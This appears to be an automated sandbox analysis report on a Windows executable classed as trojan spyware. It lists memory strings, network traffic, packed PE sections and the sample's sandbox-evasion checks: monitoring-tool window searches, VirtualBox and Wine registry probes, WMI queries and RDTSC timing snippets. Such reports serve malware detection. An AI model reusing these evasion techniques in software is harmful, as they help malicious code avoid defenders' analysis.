Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49776 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E56F21	0_3_00E56F21

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static PE information: Section: mnvqthax ZLIB complexity 0.9942655307315234

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374701992.00000000053F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361282041.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361569001.00000000053DE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Virustotal: Detection: 62%
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	ReversingLabs: Detection: 64%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static file information: File size 2081280 > 1048576

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static PE information: Raw size of mnvqthax is bigger than: 0x100000 < 0x19e600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mnvqthax:EW;xzsilril:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mnvqthax:EW;xzsilril:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static PE information: real checksum: 0x20790f should be: 0x20add7

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: mnvqthax
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: xzsilril
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E4F2B3 push eax; ret	0_3_00E4F2C9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E4F05B push ds; ret	0_3_00E4F0B9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Code function: 0_3_00E4B318 pushad ; retf	0_3_00E4B349

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: entropy: 7.151695973517509
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Static PE information: section name: mnvqthax entropy: 7.953780400965324

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77F85C second address: 77F868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAC60C4BF26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77F868 second address: 77F87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC6125CCACh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 787DA9 second address: 787DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FAC60C4BF26h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 787DB9 second address: 787DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 787F43 second address: 787F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 787F49 second address: 787F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jl 00007FAC6125CCA6h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7880EE second address: 7880F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7880F8 second address: 7880FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7880FC second address: 788150 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FAC60C4BF37h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FAC60C4BF34h 0x00000012 jmp 00007FAC60C4BF37h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b je 00007FAC60C4BF26h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 788279 second address: 78828B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAC6125CCA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78828B second address: 7882AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAC60C4BF39h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7882AE second address: 7882C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FAC6125CCA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
